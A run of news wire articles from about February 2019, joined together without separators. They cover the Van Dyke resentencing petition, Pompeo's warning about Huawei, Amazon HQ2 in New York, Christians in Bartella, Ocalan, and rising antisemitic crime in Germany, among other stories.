"I recognize that a trial judge's discretion in sentencing is to be given great deference," Illinois State Attorney General Kwame Raoul said at a news conference Monday. "However, it is in the interest of justice that we do all within our power to make sure that such exercise in discretion be applied consistent with the mandates of law, no matter who the defendant and no matter who the victim."

PHOTO: Former Chicago police Officer Jason Van Dyke attends his sentencing hearing at the Leighton Criminal Court Building in Chicago, for the 2014 shooting of Laquan McDonald, Jan. 18, 2019. (Chicago Tribune/Pool via AP, FILE)

On Oct. 5, a Cook County Circuit Court jury found Van Dyke guilty on charges of second-degree murder and 16 counts of aggravated battery with a firearm stemming from an incident in which the former officer fired 16 shots at McDonald in a span of 15 seconds.

Judge Vincent Gaughan's sentencing of Van Dyke prompted outrage from McDonald's family and community activists who saw it as far too lenient.

In their filing on Monday in what is called a "mandamus" petition, Raoul and Special Prosecutor Joseph McMahan argued that Cook County Circuit Court Judge Vincent Gaughan erred in sentencing Van Dyke "solely on the second-degree murder conviction" and by declining to impose a sentence on the counts of aggravated battery.

"The People argued that Judge Gaughan was required to sentence Van Dyke on each of the 16 aggravated battery with firearm convictions," according to the petition.

The petition cited the trial testimony of Dr. Ponni Arunkumar, the Cook County medical examiner, that each shot that struck McDonald contributed to his death.

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PHOTO: Laquan McDonald is pictured in this undated photo. (Obtained by ABC News)

Citing legal precedent, prosecutors argued that Gaughan should have been required to sentence Van Dyke on the 16 counts of aggravated battery with a firearm. The former officer could have faced at least six years in prison on each charge, for a total of 96 years.

"Because the People separately charged each shot and the jury convicted on each count, separate convictions and sentences are required," the petition states.

The prosecutors are asking the state Supreme Court to send the case back to Gaughan for resentencing.

The move by prosecutors prompted Van Dyke's attorneys to file an appeal of his conviction. The defense team has seven days to file a response to the prosecution's petition.

"I think this is politically motivated and I don't think it's an appropriate filing based on the issues at hand," Van Dyke's attorney, Jennifer Blagg, told ABC News on Tuesday. "A mandamus is an extraordinary remedy that should only be used in very unique circumstances and this isn't one of those circumstances."

(MORE: Former Chicago police officer Jason Van Dyke sentenced to 81 months in prison for Laquan McDonald murder)

Blagg said Gaughan relied on case law to render his sentence.

Blagg said the prosecutor's petition "opens a Pandora's box that we were going to leave alone."

(MORE: 3 Chicago police officers found not guilty of covering up shooting of Laquan McDonald)

"Jason doesn't want a new trial," Blagg said. "He doesn't want to put his family through it again."

She said the Van Dyke's appeal is based on grounds that he should have never been charged with the aggravated battery counts.

(MORE: My focus was just on that knife': Chicago police officer who killed 17-year-old Laquan McDonald testifies in own defense)

"The special prosecutor came on the case and added those charges a very long time after Mr. Van Dyke was originally indicted and we don't think that was proper," Blagg said.

Van Dyke shot McDonald on Oct. 20, 2014. Video released during the investigation showed McDonald was armed with a knife but the teen didn't appear to be moving toward the police officers who responded.

During his trial, Van Dyke testified that he believed McDonald was coming at him with a knife.

"We never lost eye contact. His eyes were bugging out of his face," Van Dyke said. "His face was expressionless. He turned his torso towards me."

He said he told McDonald to drop the knife, but "he never dropped it."

"My focus was just on that knife, and I just wanted him to get rid of that knife," Van Dyke testified.Held by the Vietnamese Embassy in Spain and Camilo Jose Cela University, the exhibition Goc nhin ve Viet Nam (Overview of Vietnam) is part of the activities to mark the 10th anniversary of the Strategic Partnership between the two countries.

On display are some 50 photos by Jorge Mendoza Ismer and Carlos Vaquerin Moares, which were taken during their trip to Vietnam in March last year. The photos highlight the beautiful landscapes and daily activities in Ho Chi Minh City, Mekong Delta localities, Hue, Hoi An, Da Nang, Hanoi and Sapa.

Speaking at the opening ceremony, Ambassador Ngo Tien Dung said the event aims to promote Vietnam to Spanish people, affirming that it will contribute to tightening diplomatic and people-to-people ties between the two countries.

Through the exhibition, the fund of Camilo Jose Cela University hopes to work with Vietnamese non-governmental organisations to implement several charitable projects in Vietnam, and receive more Vietnamese students to study in the school.

Dung called on more Spanish people to visit Vietnam and enjoy the countrys beauty with their own eyes.

The exhibition will last until February 15.By Lesley Wroughton and Gergely Szakacs BUDAPEST (Reuters) - U.S. Secretary of State Mike Pompeo cautioned allies on Monday against deploying equipment from Chinese telecoms giant Huawei on their soil, saying it would make it more difficult for Washington to "partner alongside them". The United States and its Western allies believe Huawei Technologies' apparatus could be used for espionage, and see its expansion into central Europe as a way to gain a foothold in the EU market. Washington is concerned in particular about the expansion of Huawei, the world's biggest maker of telecoms equipment, in Hungary and Poland. "We want to make sure we identify (to) them the opportunities and the risks of using that equipment," Pompeo told reporters during a visit to Budapest. Hungary is the first stop in a trip by Pompeo to central Europe that also includes Slovakia and Poland and is part of what administration officials say is an effort to make up for a lack of U.S. engagement in the region that opened the door to more Chinese and Russian influence. Huawei denies engaging in intelligence work for any government. It says its technologies serve 70 percent of Hungarians and that it cooperates with most telecoms providers in Hungary, including state-owned enterprises. "We have seen this all around the world. It also makes it more difficult for America to be present," Pompeo told reporters during a stop at the U.S. embassy, referring to Huawei equipment. "If that equipment is co-located where we have important American systems, it makes it more difficult for us to partner alongside them." Pompeo announced plans for a defense cooperation agreement with Hungary, one of the European governments that is most enthusiastic about Chinese investment. But he said he had discussed "the dangers of allowing China to gain a bridgehead in Hungary" in talks with Foreign Minister Peter Szijjarto. Budapest's nationalist government, like Poland's largely isolated politically in the European Union, hopes to buy mid-range air defense capabilities from the United States. U.S. INTERESTS In Poland, where Pompeo is traveling on Tuesday, the government is considering banning Huawei from participating in the development of 5G capabilities after arresting a Chinese employee of Huawei and a former Polish security official on spying allegations last month. Both men have denied wrongdoing. It is also lobbying Washington for an increased military presence on its soil. Slovakia, which Pompeo visits before Poland, is looking to buy F-16 fighter jets. Pompeo's tour includes a conference on the Middle East, hosted by Poland, where Washington hopes to build a coalition against Iran. He is also expected to voice concerns about energy ties with Moscow, and urge Hungary not to support the TurkStream pipeline, part of the Kremlin's plans to bypass Ukraine, the main transit route for Russian gas to Europe. Hungary gets most of its gas from Russia and its main domestic source of electricity is the Paks nuclear power plant where Russia's Rosatom is involved in a 12.5 billion-euro ($14 billion) expansion. Hungary's Szijjarto brushed off U.S. concerns over Russia and China, saying Budapest was fulfilling its obligations to Western allies as a member of the NATO military alliance. "When it comes to cooperation with Russia or cooperation with the People's Republic of China, that does not harm us being reliable as a NATO ally," he told a joint news conference with his U.S. counterpart. Chinese Foreign Ministry spokeswoman Hua Chunying told reporters in Beijing on Tuesday that China appreciated Szijjarto's "independent, fair and objective" comments, and that China-Hungary ties would not be damaged or interfered with by other countries. The United States' actions to "suppress" Chinese companies' legitimate development interests were "extremely unfair and immoral", and were unbecoming of a great power, Hua said. A EUROPEAN TRUMP Pompeo also discussed concerns over the rule of law in Hungary, where Prime Minister Viktor Orban is pressuring courts, media and non-governmental groups. Earlier in the day Pompeo met with civil society leaders at the U.S. Embassy and said he would discuss their treatment directly with Orban. "So many of the concerns that are voiced are things that have happened in the absence of America being engaged," he told reporters. Szijjarto drew parallels between the Trump administration and Orban government on curbing immigration, protecting Christians around the world and support for Israel. "Hungary's government and President Donald Trump's administration represent an identical, or very similar, approaches in both general political and numerous international political issues," he said. (Additional reporting by Michael Martina in BEIJING; Editing by Justyna Pawlak, Robin Pomeroy, Peter Graff and Frances Kerry)New York Gov. Andrew Cuomo and New York City Mayor Bill de Blasio arent often on the same page, but the two political leaders have gotten in sync to implore Amazon to make good on plans to build a new headquarters in Queens.

The HQ2 project  split with Virginia after a year-long competition among 234 cities  resulted in Long Island City being chosen, with the city and state teaming to offer some $3 billion in tax breaks in exchange for an expected 25,000 new jobs. A storm of protests from New York-area politicians and activists has been brewing ever since. On Friday, the Washington Post  whose owner, Jeff Bezos, also runs Amazon  reported that company executives were reconsidering the New York pick. The New York Times, however, went the opposite way in a story asserting that all systems are still go.

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Appearing on New York public radio station WNYC this morning, Cuomo said the threat of a pullout is real. I dont think theyre bluffing, he told the stations Brian Lehrer. I think its very serious.

Cuomo said he understood that the vast wealth of Amazon and Bezos makes the project inherently controversial. But it is not a perfect world, and we subsidize rich corporations, he said.

New York routinely offers tax breaks to companies because it has the highest tax rate in the United States and were not economically competitive, according to Cuomo. Newark, N.J., the governor noted, offered more than twice what New York City did  about $7 billion. He also cited polls showing public support for the project. You ask any New Yorker, Cuomo said. Overwhelmingly, New Yorkers are stunned that we could lose Amazon.

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Amazon projects that the new operation would generate 25,000 jobs, with an average annual salary of $150,000, and direct economic benefit of $27 billion. After Cuomo and de Blasio took a victory lap last fall, outrage started building among opponents such as newly elected Rep. Alexandria Ocasio-Cortez. They complained about the secretive nature of the process and the idea of a tech giant taking resources that they feel should go to infrastructure, schools and other areas of need.

Cuomo said if road blocks are put in front of Amazon, the company could easily opt to put all of its HQ2 resources into Virginia, whose state legislature has already approved the deal and whose site could accommodate New Yorks share of the influx. If they leave  and they might well leave  this is going to be a blow that hurts this state, the governor said.

De Blasio, meanwhile, reportedly told a state committee in Albany on Monday that Amazon was essential to the future growth of the city and the state. We want to build up our tech community, so to me it was mission critical that this city get those jobs rather than other cities, he said, according to multiple press reports.

The optical stakes are not small for de Blasio, who said today during a briefing about a winter storm in New York that he is not ruling out a run for president in the 2020 election. There is always room for more progressive voices on the national stage, he added, just a few hours after political operators for the mayor said he would visit presidential primary state of New Hampshire on Friday.NICOSIA, Cyprus (AP)  Cyprus' deputy minister for shipping says the number of companies setting up headquarters in the small east Mediterranean island nation has nearly doubled in the last six years, testament to its growing appeal as a maritime business hub.

Natasa Pilides told the Associated Press in an interview Wednesday that there are currently 203 shipping companies operating in Cyprus  100 more than in 2013.

At least one has elected to relocate to Cyprus from Hong Kong. And with Brexit looming, Brexit, one British company has put most of its ships under the Cypriot flag while two U.K.-based shipping insurance companies are also moving to Cyprus.

Pilides said Cyprus' advantage lies in its stable business environment and clear tax and legal frameworks.

Shipping accounts for around 7 percent of Cyprus' economy.The Duke and Duchess of Sussex looked quite the sleek and stylish pair on Tuesday evening as they headed to a gala performance of The Wider Earth at the Natural History Museum. Meghan, who is reportedly seven months pregnant, looked blooming gorgeous in a fabulous outfit which consnsiuted of a white dress by Calvin Klein, teamed with a co-ordinating Amanda Wakeley coat, which she had previously worn in March 2018. Her outfit was complete with a pair of Ralph Lauren heels and a matching clutch. The royal is certainly giving pregnant mums tips on how to dress their bump- we give her full marks. Beauty wise, Meghan wore her hair in her trademark messy bun and sported a flawless face of natural toned makeup. The couple's visit will be in support of the Queen's Commonwealth Trust (QCT) and the production's official charitable partner, The Queen's Commonwealth Canopy (QCC). The Wider Earth is a story about 22-year-old Charles Darwin's expedition around the world on HMS Beagle. The production is presented by Trish Wadley Productions, Dead Puppet Society and Glass Half Full Productions.

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Meghan looked so stylish as she arrived at the Natural History Museum

Harry, 34, is president of the QCT, which aims to encourage young leaders who are working to change the world. The QCC conserves indigenous forests across the globe, marking the Queen's service to the Commonwealth. During their last royal tour of Australia, New Zealand, Fiji and Tonga, parents-to-be Harry and Meghan unveiled six dedications to the QCC during their visit and also welcomed commitment to the initiative by its latest member, Kiribati.

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The Duchess recycled her white Amanda Wakeley coat

Meghan has had a variety of late-night events this month - and despite being heavily pregnant, shows no sign of strain at all.

MORE: This Marks & Spencer royal dress dupe would even fool Meghan Markle

Last week, the former Suits star looked incredible in her bump-skimming, monochrome outfit, by Givenchy - one of her favourite fashion labels - at the Endeavour Fund Awards, which was held at Drapers Hall. She added black and gold high heel shoes, 530, Aquazzura and a pair of glittering diamond studs, 657, by Vanessa Tugendhaft.

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READ: Meghan Markle's makeup artist FINALLY reveals the secret to her shiny skin

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Meghan and Harry arrive at the Natural History MuseumBlantyre (Malawi) (AFP) - Malawi has removed nearly 270 minors from two adult prisons, a legal action group said Wednesday, following a court ruling and warnings about food shortages, disease risk and overcrowding.

The move came after a High Court ruling in June 2018 which ordered Bvumbwe and Kachere prisons to release all children being held there in a case brought by civil society organisations.

Victor Mhango of the Centre for Human Rights Education, Advice and Assistance said all 267 juveniles who were being held at the two jails had been released.

"The welfare of children in prison has always been a serious matter of concern. Our laws have recognised that prisons are not suitable for children," he said.

Malawi only has two juvenile reform centres, which are often full.

The court ordered that children awaiting trial should be transferred to remand homes, and those found guilty should be transferred to reform homes within 30 days.

Where there was an absence of remand homes, the children were released into the custody of their parents.

Judiciary spokeswoman Agnes Patemba told AFP that the prison service had complied with the law.

In its 2016 report, the Inspectorate of Prisons said Kachere prison was "a health disaster" waiting to happen with inmates going days without food, poor hygiene standards, a shortage of blankets and the buildings themselves at risk of collapse.

It said cells in Bvumbwe prison were poorly ventilated and the toilets had no running water.

"This case sets an important precedent for our region," said Anneke Meerkotter, of the Southern Africa Litigation Centre.Washington (AFP) - President Donald Trump said on Wednesday that Venezuela's leftist leader Nicolas Maduro is "making a terrible mistake" by blocking US humanitarian aid.

Trump said it was "sad" that the oil-rich Latin American country is in "turmoil" and said Washington has still not ruled out sending troops to the region.

"We look at all options," he said.

"You'll see," he said when asked if thousands of US troops could deploy.

Trump was meeting with Colombian President Ivan Duque at the White House to discuss the crisis in Venezuela.

Maduro accuses the United States of using the blocked aid shipments as part of a plot to overthrow his government.

But Duque, whose country has taken in large numbers of Venezuelan refugees, said "obstructing the access of humanitarian aid is a crime against humanity."VILNIUS, Lithuania (AP)  Authorities in Lithuania have confiscated 1.5 tons of hashish with an estimated street value of 20 million euros ($23 million), the largest seizure ever made in the small Baltic country.

Senior police official Linas Pernavas says the drug came from Morocco and was destined for Russia. It was hidden in a truck carrying mineral water.

Pernavas said Wednesday three people were detained  one Belarus national and two Lithuanians known to be members of a criminal gang  one of whom is the manager of a logistics company.

Though large, the seizure is dwarfed by one last month in neighboring Latvia, where authorities confiscated a record two tons of cocaine with a street value of a billion euros ($1.15 billion).RENO, Nev. (AP)  The Latest on accusations of sexual misconduct against former Costa Rican President Oscar Arias (all times local):

1 p.m.

The longtime director of the international center at the University of Nevada in Reno is the sixth woman to accuse Nobel Peace Prize winner and former Costa Rican President Oscar Arias of sexual misconduct.

Carina Black said in an interview this week that Arias boxed her against a wall inside an elevator at the university in 1998 and then tried to kiss her.

The 52-year-old professor says it happened after she spent a day escorting Arias to meetings and an evening speaking engagement at the university.

She says she "smacked him in the face and pushed him away."

At least six women have made accusations against the Nobel Peace Prize laureate ranging from unwanted advances to alleged assault.

The Associated Press interviewed three people Black said she told about Arias' behavior shortly after she said it occurred, including her husband.

____

8:45 am.

Nobel Peace Prize laureate and two-time Costa Rican President Oscar Arias has met with prosecutors to give a statement in two criminal complaints against him alleging sexual assault and sexual abuse.

Arias appeared at the prosecutor's office wearing a blue suit and tie and accompanied by his lawyer. He denied the first accusation when it surfaced last week but has declined further comment as more allegations have emerged.

Arias told journalists Wednesday he has always answered their questions during 50 years in public life, but "on this occasion my lawyer has requested I not make statements."

At least six women have made accusations against Arias ranging from unwanted advances to alleged assault.United Nations (United States) (AFP) - Israel has told the UN Security Council that it opposes a planned visit by the top UN body to the Palestinian territories for a close-up look at the situation, Kuwait's ambassador said Wednesday.

Kuwait and other council members proposed the visit to the occupied territories during a meeting last week on Israel's decision to end the international observer force in the West Bank city of Hebron.

During a closed-door meeting on Wednesday, the council president briefed members on talks held with Israel and the Palestinians on the proposal for a visit.

"He said Israel categorically refused the council visit," Kuwait's Ambassador Mansour al-Otaibi told reporters after the meeting.

"They don't want to receive a visit by the Security Council" even though they are prepared to welcome delegations from countries on the council, he added.

"We expressed our regret that this visit will not take place because it has been raised many times by the council."

The Israeli mission did not immediately respond to a request for comment.

The visit would have come at a tumultuous time: Israel is headed for elections in April and the United States is reportedly putting the finishing touches to its much-awaited peace proposals.

The Security Council has adopted several resolutions on the Israeli-Palestinian peace process that call for a two-state solution and holds monthly meetings on the conflict.

Israel maintains that the UN body is biased in favor of the Palestinians.

UN Secretary-General Antonio Guterres visited Israel and the Palestinian territories in August 2017 but the Security Council has never traveled on a mission to that region.

In 1979, envoys from the top UN body went to Jordan, Syria, Lebanon and Egypt as part of a special mission.

Over the past years, several proposals for a visit to Gaza and the occupied territories have been quashed by the United States, a veto-wielding member of the Security Council.

The council later Wednesday travels to Guinea-Bissau and Ivory Coast and is planning a trip to Mali in March. Last year, it made a high-profile visit to Myanmar and Bangladesh to meet with Rohingya refugees.BARTELLA, Iraq (AP)  In a story Feb. 11 about Christians in the northern Iraqi town of Bartella, The Associated Press reported erroneously that Ammar Shamoun Moussa is the head of the Nineveh Plain Protection Units, and that the force fled Bartella to Kurdish areas as Islamic State fighters captured the town. Moussa is the head of another Christian Assyrian Force known as the Nineveh Plain Guard Forces, which is the force that did flee Bartella. The story also quoted Bartella city council member Jalal Boutros as having pointed to worries that some Shiite militiamen known locally as the "Hashed" are just as extremist as Sunni militants in IS. Boutros did not make the specific comparison and was referring to extremist mentality in general.

A corrected version of the story is below:

Iraqi Christians fear returning home, wary of Shiite militia

Few Christian residents have returned to northern Iraqi town of Bartella, 2 years after its liberation from IS

By FAY ABUELGASIM

Associated Press

BARTELLA, Iraq (AP)  In the main square in the northern Iraqi town of Bartella stands a large cross, one of the few overt signs the town was historically Christian.

Nearby, a massive billboard shows Shiite Muslim martyrs alongside a photo of Iran's Ayatollah Khomeini. Posters of Iranian-backed Shiite militiamen killed in fighting with the Islamic State group hang on streets all around the city, along with banners to revered historical Shiite saints.

Thirty years ago, Bartella's population was entirely Christian. Demographic changes over the decades left the town split between Christians and an ethnic group known as Shabak, who are largely Shiites. When the Islamic State group overran the town and the rest of northern Iraq in 2014, Bartella's entire population fled  since both communities were persecuted by the radicals.

But two years after Bartella was liberated from IS, fewer than a third of its 3,800 Christian families have come back. Most remain afraid, amid reports of intimidation and harassment by Shabak, who dominate the Shiite militias now controlling the town.

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Catholic priest Behnam Benoka claimed that the Christian community is being pushed out by the Shabak. He also said multiple cases of sexual harassment have been reported to him and even one robbery of a little girl whose gold earrings were stolen. At one point, Shabak men fired guns in the air front of the town's church for over an hour.

Iqbal Shino, who moved back to Bartella with her family in November 2017, said a Shabak man grabbed her from behind in a market. She screamed and the man was caught by onlookers. She filed a complaint with the police but later dropped it to avoid problems.

"I feel like because I was a Christian, he assaulted me so that they can scare us to leave Bartella," she said.

The town's divisions point to the broader tensions around northern Iraq in the wake of the dispersal caused by the Islamic State group. Now that IS is gone, sectarian divisions are bubbling up the surface, and multiple political and armed groups are vying for power and influence, said Renad Mansour is a research associate at Chatham House, a think tank.

"That's the main priority now: Who can carve out the most influence in the area and naturally that creates a precarious security environment," he said.

Qusay Abbas, the Shabak representative in parliament in Baghdad, said incidents of harassment against Christians are just individual acts that don't represent the community of Shabak or the militias, which are part of the government-sponsored Population Mobilization Forces.

"The security apparatus has a lot of factions so it's inevitable that some mistakes would happen. There are some violations, and a lot of things, sometimes stealing, misusing their position to get money, we know that," said Abbas, who is based between Bartella and the capital. "But that doesn't mean that everyone is bad."

He said the Shabak suffered just as much as the Christians from IS.

"They both suffered collectively, so I say to the Christians brothers, please don't rely on some rumors and sectarian speeches," he said. "We can solve these problems we just need to sit down together."

The Christian community in Iraq has plummeted in the last 15 years because of attacks by Islamic militant groups, including al-Qaida and IS. An estimated 1 million Christians were living in Iraq before the U.S.-led invasion of 2003; today only a fraction remains. The Islamic State group takeover the north only worsened the disaster for the Christians, sending them fleeing for safety in the autonomous Kurdish region, where most remain.

Bartella's demographic changes began around 30 years ago, when Iraqi leader Saddam Hussein nationalized farmland that used to belong to Christians and gave it to families of soldiers killed in the Iran-Iraq war. This brought an influx of Sunni Arabs. After Saddam was toppled in 2003, another batch of Bartella land was given to families of Shabak Shiite martyrs.

Most of Bartella's Shabak population has returned, bringing life back to their neighborhoods. In contrast, the town's Christian districts are largely deserted. In one, called, Hay al-Muallimeen, many of the houses were destroyed in fighting, and only around one and four has anyone living in it.

Security is now run by the Popular Mobilization Forces, known by the Arabic name "Hashed." Its fighters, who in Bartella are mostly Shabak, run checkpoints in the streets and act as police.

One of the biggest points of contention in Bartella is the removal of the Nineveh Plain Guard Forces, a force made up mainly of Christians that guarded the town until the IS takeover. Its fighters have fled to Kurdish areas and have not returned. That is one reason Christian families have been wary of returning. Another Christian Assyrian Force called the Nineveh Plain Protection Units, or NPU, which was formed after IS took control of the town, is currently operating in Bartella, manning only two positions at the entry of the town. They are significantly outnumbered by the Shabak.

"The Christian is the weakest link in the Iraqi society," said Ammar Shamoun Moussa, the head of the Nineveh Plain Guard Forces, speaking to the AP in Irbil, where the force is based. "When there is stability and there is a law in the land, I think a lot of families would come back."

Bartella city council member Jalal Boutros said the Nineveh Plain Guard Forces are "part of our identity and protect it and validates our presence." He pointed to worries that extremist thinking still exists, even if IS has been eliminated.

"Even if the Daesh weapons have gone, the thinking is still there," he said, referring to the group by its Arabic acronym.

The trust between the communities is gone.

Salim Harihosan, a Christian, returned to Bartella in 2017, and like many families found his house destroyed. An NGO helped him rebuild.

But he regrets his decision to come back and said he is haunted by fears over lawlessness, sectarian splits and potential violence. He said he wakes up five times a night to check if his car is safe and is looking to rent an apartment in the Kurdish-zone city of Erbil, just in case.

"It is a psychological situation ... I go to the market and I hear things, that maybe this or that happened," he said. "These things play with the mind of the person living here."

In the church in the neighborhood of Ankawa, in Erbil, hundreds of Christians, many from Bartella prayed and sang hymns on a recent day.

One of them, 72-year-old Habiba Kiyaqos, lived in Bartella all her life but doesn't see herself ever returning. Her house is wrecked, her possessions are gone, and she's afraid of becoming the victim of religious extremists  whether Sunni militants like IS or Shiite militiamen.

"I really want to go to sleep in Bartella, but I am scared they will come and attack us."Ankara (AFP) - Abdullah Ocalan, the jailed Kurdish militant leader labelled the "nemesis" of the Turkish state, remains a highly influential figure in the Kurdish movement despite being cut off from the outside world.

Turkey captured Ocalan, then public enemy number one, on February 15, 1999 after a relentless hunt.

He has been imprisoned on the heavily fortified island of Imrali in the Sea of Marmara for two decades and has not been allowed to see his lawyers since 2011.

But while the government brands the burly 69-year-old a "baby-killer", to Kurds he is known as "Apo" or uncle.

The pro-Kurdish Peoples' Democratic Party (HDP) say more than 300 detainees are on hunger strike to protest what they call Ocalan's isolation -- an indication of his continued importance for the movement.

As he has not been seen or heard in public for years, the popular image of Ocalan remains that of a man with a round face and thick black moustache.

But in photographs released a few years ago "we found that he had aged, his hair and moustache were white", one of Ocalan's lawyers, Ibrahim Bilmez, told AFP.

"He has been in isolation at Imrali for 20 years, so it is normal that he is worn down," Bilmez added.

- Student politics -

Ocalan was born into a poor peasant family in the village of Omerli in Turkey's southeast. His official birthdate is April 4, 1949, but this may not be exact, says Aliza Marcus in the book "Blood and Belief: The PKK and the Kurdish Fight for Independence".

He became a left-wing militant during his time at university in Ankara, where he studied politics and threw himself into the Kurdish cause, leading to his first incarceration of seven months in 1972.

In 1978, Ocalan and a group of fellow students founded the Kurdistan Workers' Party (PKK), a Marxist-oriented movement fighting for Kurdish autonomy.

Two years later he was in exile, most often in Damascus or Lebanon's Beqaa Valley which was then under Syrian control and where he set up the PKK's headquarters.

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Ankara branded Ocalan its "nemesis" after Ocalan led the movement on to a path of armed struggle in 1984, planning to carve out a chunk of Turkey to found an independent Kurdish state.

Security forces hit back hard in response to PKK attacks, plunging Turkey's southeast into a state of near civil war. The group was blacklisted as a terrorist organisation by Ankara, the US and the EU.

Ocalan's first call for a unilateral ceasefire came in 1993, then again in 1995 and 1998, each time seeking a political agreement with Ankara in return.

But authorities said they refused to negotiate with the "terrorist chief" with blood on his hands.

- Influence beyond Turkey -

Ocalan's influence stretches beyond Turkish borders.

His image can be widely seen in areas controlled by the Kurdish People's Protection Units (YPG) in northern Syria. Turkey says the US-backed YPG militia is a "terrorist" offshoot of the PKK.

Syria's permission for Ocalan to seek refuge there caused major friction between Damascus and Ankara, and political pressure forced him out in 1998.

He tried to seek political asylum across Europe, including in Greece, but in 1999 Turkish secret agents nabbed him in the Kenyan capital Nairobi outside the Greek embassy.

He was swiftly sentenced to death for treason, which was commuted to life imprisonment when Turkey abolished capital punishment in 2002.

With Ocalan in custody, Turkey believed the head of the PKK had been cut.

But even behind bars, he continued to exert control over the movement by issuing instructions to his lawyers and the Kurdish MPs who visited him.

Following Ocalan's arrest, the PKK had said it would strive only for cultural rights rather than an independent Kurdish state.

It entered what proved to be its longest truce, which lasted until 2004. During that period, Turkey undertook some modest reforms for the Kurds.

Then in 2012, it was once again Ocalan who ordered the end of a hunger strike by 700 detained Kurdish lawmakers.

When Recep Tayyip Erdogan, then prime minister and now president, threatened -- on a wave of nationalist sentiment -- to bring back the death penalty for him, he was still seeking dialogue with Ocalan.

In 2013, Ocalan called for another ceasefire to allow peace talks a chance to reach a negotiated settlement. Two years later however, the bloody clashes resumed.

Today there appears little chance of a political solution to a conflict that has cost more than 40,000 lives.

But "for a large majority of Kurds... (Ocalan) is the uncle who embodies the Kurdish nation in its totality" and he would be a key player if talks were to resume, said Hamit Bozarslan of the Paris-based School for Advanced Studies in the Social Sciences.Jerusalem (AFP) - Hamas is using coded television messages to instruct recruits in the occupied West Bank to carry out anti-Israeli attacks, Israel's Shin Bet security agency alleged on Wednesday.

A statement by the agency said this was the "key factor" behind a November 12, 2018 Israeli air strike which destroyed the Hamas-run Al-Aqsa television station in Gaza City.

Shin Bet and the Israeli army "are aware that operatives of Hamas's military wing use Al-Aqsa TV for terrorist purposes" by broadcasting "secret messages" to the West Bank, it said.

The security agency said "Al-Aqsa TV anchors and reporters pass on hidden messages on behalf of Hamas's military wing in the channel's broadcasts.

"Their purpose is to convince recruited Judea and Samaria (the West Bank) residents that the activity to which they were enlisted is indeed guided by operatives of Hamas in Gaza Strip," it added.

Shin Bet alleged these recruits had been told in advance when to watch the channel to see "when the anchor would put down his cup in the beginning of the programme".

"By watching the programme, the recruit received a confirmation of the Gaza-based operative's claims," it said.

According to Shin Bet, the Islamist Palestinian movement Hamas recently recruited four West Bank residents and an Israeli national from east Jerusalem.

"The recruits were intended to carry out terrorist activity against Israel."

Hamas, which seized control of Gaza from the West Bank-based government in a 2007 near civil war, has fought three wars with Israel since 2008.Berlin (AFP) - Anti-Semitic offences rose almost 10 percent in Germany last year, and violent attacks were up more than 60 percent, crime statistics showed Wednesday, sparking alarm in the Jewish community.

Police recorded 1,646 offences motivated by hatred against Jews, the highest level in a decade, said a government answer to a request by far-left Die Linke party lawmaker Petra Pau.

Among these were 62 violent offences that left 43 people injured, up from 37 physical attacks the previous year, according to the preliminary police data.

The president of the Central Council of Jews in Germany, Josef Schuster, said the statistics reflected a "frightening trend" and confirmed what was already a "subjective impression among Jews".

"Considering that acts below the threshold for criminal liability are not included, the picture darkens further," he said, urging "a stronger commitment against anti-Semitism by politicians, the police and the judiciary".

Chancellor Angela Merkel's spokeswoman Ulrike Demmer stressed that "there is no place for anti-Semitism in Germany" and that Jewish life in Germany must be allowed to "develop freely and safely".

- Coarsening climate -

Germany, like other western countries, has watched with alarm as anti-Semitic and other racist hate speech and violence have increased in recent years as the political climate has coarsened and grown more polarised.

In France, President Emmanuel Macron on Wednesday condemned an "unacceptable increase" in anti-Semitic hate speech, amid outrage over anti-Jewish graffiti and vandalism in and around Paris last weekend.

A mass influx of mostly Muslim refugees and migrants to Germany from 2015 drove the rise of the far-right and anti-immigration Alternative for Germany (AfD) party, which since late 2017 is the biggest opposition group in parliament.

Leading AfD members, aside from railing against Islam and multiculturalism, have also made comments that play down the Holocaust.

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Party co-leader Alexander Gauland has described Nazi Germany's industrial-scale murder of Jews and other minorities as a mere "speck of bird poo in over 1,000 years of successful German history".

Another leading AfD politician, the nationalist Bjoern Hoecke, has criticised Berlin's sprawling Holocaust memorial as a "monument of shame".

- Holocaust denial -

At the same time, Germany has also witnessed a rise in anti-Semitic attacks committed by migrants from Arab states.

In one prominent case last year, a 19-year-old Syrian man was convicted for assault after lashing out with his belt at an Israeli man wearing a Jewish kippa skullcap while shouting "yahudi", Jew in Arabic.

A video of the street assault, filmed by the victim on his smartphone, had sparked widespread public revulsion as it spread on social media, and triggered street rallies in solidarity with Jews.

News of the belt attack coincided with another public outcry, over a rap duo who made light of Nazi death camp prisoners but went on to win the music industry's sales-based Echo award, which was subsequently axed.

Days after the belt assault, some 2,000 people rallied at a "Berlin Wears Kippa" solidarity demonstration, matched by smaller events in several other German cities.

However, most anti-Semitic offences were committed by far-right perpetrators, the Berlin daily Tagesspiegel reported in an article on the new crime statistics.

Pau in her statement charged that "we are seeing that militant right-wing extremists can openly call for the desecration of Jewish institutions and attacks against Jewish people".

A rising number of people and groups in the "grey zone between conservatism and right-wing extremism are denying the Holocaust and engaging in anti-Semitic agitation," she said.Berlin (AFP) - Anti-Semitic offences rose almost 10 percent in Germany last year, and violent attacks were up more than 60 percent, crime statistics showed Wednesday.

Police recorded 1,646 offences motivated by hatred against Jews, said a government answer to a request by far-left Die Linke party lawmaker Petra Pau.

Among these were 62 violent offences that left 43 people injured, up from 37 physical attacks the previous year.

Germany, like other western countries, has watched with alarm as anti-Semitic and other racist hate speech and violence have increased in recent years as the political climate has coarsened and grown more polarised.

A mass influx of mostly Muslim refugees and migrants to Germany from 2015 drove the rise of the far-right and anti-immigration Alternative for Germany (AfD) party, which since late 2017 is the biggest opposition group in parliament.

Leading AfD members, aside from railing against Islam and multiculturalism, have also made comments that play down the Holocaust.

Party co-leader Alexander Gauland described Nazi Germany's industrial-scale murder of Jews and other minorities as a mere "speck of bird poo in over 1,000 years of successful German history".

Another leading AfD politician, Bjoern Hoecke, has criticised the sprawling Holocaust memorial in Berlin as a "monument of shame".

The president of the Central Council of Jews in Germany, Josef Schuster, and other Jewish community leaders have accused the AfD of fomenting hate against refugees, Muslims and Jews.

- Belt attack, Holocaust denial -

At the same time, Germany has also witnessed a rise in anti-Semitic attacks committed by migrants from Arab states.

In one prominent case last year a 19-year-old Syrian man was convicted for assault after lashing out with his belt at an Israeli man wearing a Jewish kippa skullcap while shouting "yahudi", Jew in Arabic.

A video of the street assault, filmed by the victim on his smartphone, had sparked widespread public revulsion as it spread on social media, and triggered street rallies in solidarity with Jews.

